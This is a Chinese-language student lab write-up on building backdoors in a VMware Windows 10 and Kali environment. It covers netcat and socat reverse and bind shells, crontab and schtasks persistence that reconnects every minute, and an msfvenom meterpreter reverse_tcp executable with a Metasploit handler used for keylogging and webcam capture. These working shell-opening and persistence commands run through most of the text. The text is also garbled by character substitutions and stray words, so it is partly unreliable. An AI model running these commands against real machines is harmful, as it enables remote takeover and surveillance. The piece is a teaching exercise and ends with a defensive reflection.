后门原理与实践

后门就是不通过正常认证流程而访问系统的通道。后门的实现就像是有个间谍可以在咱们须要访问系统时为咱们开门,咱们每每但愿后门有隐蔽性和自发性(能本身打开提供通道)。html

下面经过实际操做介绍几个经常使用后门工具。linux

环境:win十、VMware、kaliweb

利用netcat获取kali的shell

netcat最基本的功能是帮助咱们创建网络链接(如图1),在此基础上还能够与一些程序绑定以实现远程控制的效果。shell

                            图1windows

先从最简单开始,把系统防火墙和杀软关闭,而且后门手动下载到靶机上。在这样的条件下实现如何利用netcat让windows主机得到kali虚拟机的shell。安全

一般利用netcat实现后门有如下3个步骤:bash

  1.主机打开监听网络

  -> ncat.exe -l -p 端口号

  2.靶机反弹链接winsession

  $: nc 主机ip 监听端口号 -e /bin/sh

  3.主机下得到一个linux shell,可运行任何指令,如lstcp

显然这里windows是主机,kali虚拟机是靶机。从上面步骤能够看出,咱们须要端口号和主机ip,端口号能够随便取,在实际中每每取80(网页端口)等端口以躲避防火墙的拦截,主机ip如果在局域网中的独立机器直接用ipconfig里的ip v4地址便可,但对虚拟机来讲须要先确认使用的是哪一种虚拟网络,ipconfig也会看见多了几个以太网地址(见图2),就是对应不一样的VMware虚拟网络的。若是是桥接能够直接使用实际局域网中的地址,其余两种能够在VMware/编辑/虚拟网络编辑中看到ip段(见图3),进而能够肯定下来。具体有关VMware几种网络链接方式参见https://www.linuxidc.com/Linux/2016-09/135521.htm。

                      图2

                        图3

本身在nat模式下试着ping了三个地址,发现所有能通,可是用ncat时却只有nat对应的以太网地址才能够连通,不是很清楚缘由,若是有大神知道的但愿可以指点。

肯定下ip以后咱们按照netcat的用法在命令行输入输入,当咱们能够在win10 cmd下输入时说明链接成功了,见图4,已经成功获取了shell。

              图4

第一次尝试成功了,咱们确定但愿能长久地使用后门,那就设置让他自启。学过linux的确定能想到利用crontab来实现自启,可是利用常规的crontab -e来编辑会直接打开vi等编辑器来操做,而这对在远程操做的咱们来讲结果是向图5这样的。

                                    图5

能够理解,由于咱们打开的是shell,其余程序不必定向shell那么规矩的返回结果给咱们的netcat,因此想办法绕开用文本编辑器来修改crontab。因而想到了重定向>和echo来构造一个cron文件,而后利用“crontab 文件名”来启用咱们的设置。

touch guocron
echo "* * * * * nc 192.168.201.1 1213 -e /bin/sh" > guocron
crontab guocron

结果如图6,能够看到已经成功设置每分钟执行一次链接操做,意味着只要开机后基本就本身连上咱们的主机了。

                    图6

 socat获取win10 cmd

socat是一个功能强大的工具,在这里咱们能够把它当作强化版的nc。这里利用它实现kali虚拟机获取win10 cmd的控制。

  1.链接目标

  socat - tcp:192.168.201.1:80 
  这个命令等同于 nc 192.168.201.1 80。 socat里面,必须有两个流,因此第一个参数-表明标准的输入输出,第二个流链接到192.168.201.1的80端口。 

  2.反向链接

  socat tcp-listen:80 exec:cmd,pty,stderr

  这个命名把cmd绑定到端口80,同时把cmd的Stderr复位向到stdout。

有了这两个基本操做就能够作后门了,先win10绑定cmd打开监听,而后在kali虚拟机中链接,结果如图7所示。

              图7

windows cmd设置计划任务能够利用schtasks命令设置,schtasks /create /sc minute /mo 1 /tn testtask /tr "cmd /c socat.exe tcp-listen:1213 exec:cmd.exe,pty,stderr"设置每一分钟运行一次socat监听的命令。更多细节详见https://www.cnblogs.com/magic_evan/archive/2011/10/31/2230349.html。

Meterpreter的使用

只说本身经过此次实践对Meterpreter的感觉,这工具太强大了,一旦连上后面,有各类各样现场的工具给你来支配靶机,一句代码就能够录你键盘,获取你屏幕。从后门的生成到控制端一条龙。

大体流程是先利用meterpreter生成后门程序,进入msfconsole开启监听,想办法在靶机上运行咱们的后门,msfconsole与靶机创建链接,为所欲为的对靶机进行控制。

接下来实践用meterpreter对win10进行渗透。

生成后门exe,复制到win10上

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.136 LPORT=443 -f exe > meter_backdoor.exe

-p后接payload表示选择payload整合到exe上,LHOST和LPORT是监听的ip和端口号,也就是咱们本身的机器,-f,format输出格式,而后重定向到文件。

                                        图8

而后经过netcat传输到win10电脑上,kali上输入

ncat -l 1213 < 20151213_backdoor.exe

win10上输入

nc 192.168.201.136 1213 > 20151213_backdoor.exe

而后win10系统上会收到这个exe文件,等kali监听后再打开。

MSF打开监听进程

shell下输入msfconsole就能够打开msf命令行,加载结束后输入

msf > use exploit/multi/handler
msf > set LHOST 本机ip
msf > set LPORT 监听端口
msf > show oprions #查看配置
msf > exploit #开始监听

exploit开始后切到win10运行以前发送过去的exe,能够在msfconsole看见有session创建了(如图9),以后就能够开始咱们想作的事了。

                  图9(成功创建会话链接)

 

                       图10(进程转移)

用grep过滤ps -a出来的进程,找到explorer这种稳定进程转移过去。

                      图11(判断是否为虚拟机)

不知为什么有时运行这些脚本时会出错,没能找到缘由,但愿能有大牛指教。

最后上传一张利用webcam_snap拍取的照片。

                    图12

体会

第一次作这方面的东西,过程可谓十分艰辛,由于总有意想不到的错误出现。可是当成功创建session的那一刻感受全部付出都是值得的。

同时也深感网络环境的不安全,如果一台没有杀软,用盗版系统的机子随随便便都会让人给入侵了,不事后门究竟是须要有个间谍也就是那个exe来开启,因此不乱下东西,不乱点程序是能够极大下降本身被人入侵的几率。

做为入侵者就是想各类办法骗取别人点击本身的文件了,经过包装把本身的exe放在钓鱼网站上等着人下载运行(多数),或者是利用某些系统漏洞强行渗透(较少)。一旦第一次被入侵,这些程序每每就以计划任务或者服务等方式自启动。

也是利用这点,咱们能够在开机启动项和服务里面找一些比较不正常的程序,经过审计观察它是否有后门的嫌疑。

相关文章
相关标签/搜索